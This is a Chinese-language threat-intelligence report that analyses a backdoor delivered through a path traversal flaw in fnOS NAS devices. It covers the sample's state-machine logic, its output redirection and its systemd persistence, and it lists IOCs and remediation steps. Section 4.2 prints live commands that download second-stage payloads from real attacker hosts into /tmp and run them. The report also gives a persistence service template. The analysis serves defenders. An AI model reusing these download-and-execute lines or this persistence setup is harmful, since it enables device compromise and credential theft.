飞牛NAS (fnOS) 路径穿越漏洞挂马样本深度技术分析报告
2. 漏洞背景与威胁暴露面
2.1 漏洞描述:未授权路径穿越
漏洞点位于 /app-center-static 静态资源接口。由于程序未能对输入路径进行充分的规范化校验,攻击者可通过构造包含 ../ 的特殊序列,越权访问系统内核文件及用户私有目录(如 /etc/shadow, /root/.ssh/id_rsa, 以及系统配置文件)。
2.2 暴露情况分析
截至2026年初,全球约有 20万+ 台飞牛NAS设备公网暴露。由于官方早期版本更新采用静默方式且缺乏公开安全公告,大量用户未能及时修补,形成了一个规模庞大的脆弱性暴露面。
3. 恶意样本静态概览 (Static Analysis)
实验对捕获的样本进行了基础属性鉴定:
| 属性项 | 技术参数 |
|---|---|
| 样本名 | BKD-fnOS-Agent |
| 文件类型 | ELF 64-bit LSB executable, x86-64 |
| 文件大小 | 2.13 MB (2,132,816 Bytes) |
| MD5 | 8952adf21c927cd228c24ca431d3cdaf |
| SHA256 | 3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd |
| 符号表 | 已剥离 (Stripped) |
4. 样本核心恶意逻辑解析 (Technical Breakdown)
4.1 基于状态机的控制流 (State Machine)
样本核心主函数 sub_4D0 采用经典的状态机设计。这种架构能够有效对抗简单的静态特征匹配,并使恶意行为呈现高度的动态性和阶段性。

- 初始状态 (ID: 5): 环境自检与环境变量初始化。
- 指令等待 (ID: 8): 与 C2 通信获取后续指示。
- 载荷下发 (ID: 22): 执行核心横向移动或二阶段载荷下载。
4.2 隐蔽下载与静默执行
在状态 22LL 下,样本展现了典型的“无文件投放”尝试,通过临时目录 /tmp 进行二阶段转存并立即执行:
// 伪代码:恶意载荷下载逻辑
case 22LL:
sub_CF0("cd /tmp; rm -rf bkd; wget http://xd.killaurasleep.top/bkd; chmod +x bkd; ./bkd; rm -rf bkd");
sub_CF0("cd /tmp; rm -rf bkd2; wget http://151.240.13.91/bkd2; chmod +x bkd2; ./bkd2; rm -rf bkd2");

此阶段采用了双重冗余策略:同时尝试从域名 xd.killaurasleep.top 和原生存 IP 151.240.13.91 获取载荷,确保攻击链路的稳健性。
4.3 标准流重定向技术
为规避各种终端审计和用户察觉,样本在 sub_CF0 中实现了复杂的重定向逻辑。它通过调用 dup2 将文件描述符 1 (stdout) 和 2 (stderr) 全部导向 /dev/null。


这种做法意味着任何由 sub_115D (execve 包装器) 启动的子进程都处于“完全静默”状态,即便产生错误信息也无法回显到终端。
4.4 系统调用包装器与参数处理 (Execve Wrapper)
样本并未直接调用 libc 库函数,而是通过 sub_115D 实现了 execve 系统调用的深度包装。该函数具备处理可变参数的能力,能够灵活构造复杂的 shell 命令执行环境。

分析显示,sub_115D 使用了 va_list 机制遍历传入的参数。为了保证参数在内核态执行时的稳定性,样本通过 alloca 指令在栈上动态分配内存空间,将参数数组序列化后添加 NULL 终止符。

这种设计不仅增强了代码的可移植性,也为后续复杂插件或二阶段载荷的加载提供了底层支撑。
5. 持久化机制深度分析 (Persistence)
样本针对 fnOS 基于 Linux 的特性,选择了最稳定的持久化方案:Systemd Service 注入。
5.1 服务文件构造 (sub_990)
样本会将自身重排并复制到系统受信任路径(如 /usr/bin/),随后动态生成一个 .service 配置文件。


生成的服务配置样例:
[Unit]
Description=AutoStart Service
After=network-online.target
[Service]
Type=oneshot
ExecStart=/usr/bin/[BKD_NAME]
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
5.2 自动启动链条
通过执行 systemctl enable [service_name],攻击者在 /etc/systemd/system/multi-user.target.wants/ 下建立了软链接。这确保了 NAS 设备即便在断电重启或固件升级后,恶意进程依然会自动重新拉起。

6. 威胁情报 (Threat Intelligence - IOCs)
6.1 文件哈希 (Host Indicators)
- MD5:
8952adf21c927cd228c24ca431d3cdaf - SHA-256:
3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd
6.2 网络基础设施 (Network Indicators)
- C2 域名:
xd.killaurasleep.top - C2 IP 地址:
151.240.13.91 - 资源定位器 (URLs):
http://xd.killaurasleep.top/bkdhttp://151.240.13.91/bkd2
6.3 关键落地路径 (File Path IOCs)
| 类别 | 检视路径 |
|---|---|
| 疑似恶意程序 | /usr/sbin/gots / /usr/bin/nginx / /usr/bin/dockers |
| 系统组件篡改 | /usr/trim/bin/trim_https_cgi |
| 持久化服务 | /etc/systemd/system/*.service |
| 临时工作目录 | /tmp/bkd, /tmp/bkd2 |
7. 处置与加固建议
- 紧急排查: 检查系统是否存在上述 IOC 列表中的文件或异常 systemd 服务,重点关注
/usr/bin/目录下近期新增的可执行文件。 - 固件更新: 立即升级 fnOS 至最新版本,确保路径穿越补丁已生效。
- 内网隔离: 在未完成修复前,建议关闭 NAS 设备的外部端口转发或使用 VPN 安全隧道。
- 凭据清洗: 由于攻击者可能利用路径穿越窃取
/etc/shadow,建议在清理完成后修改所有超级用户密码及 SSH 密钥。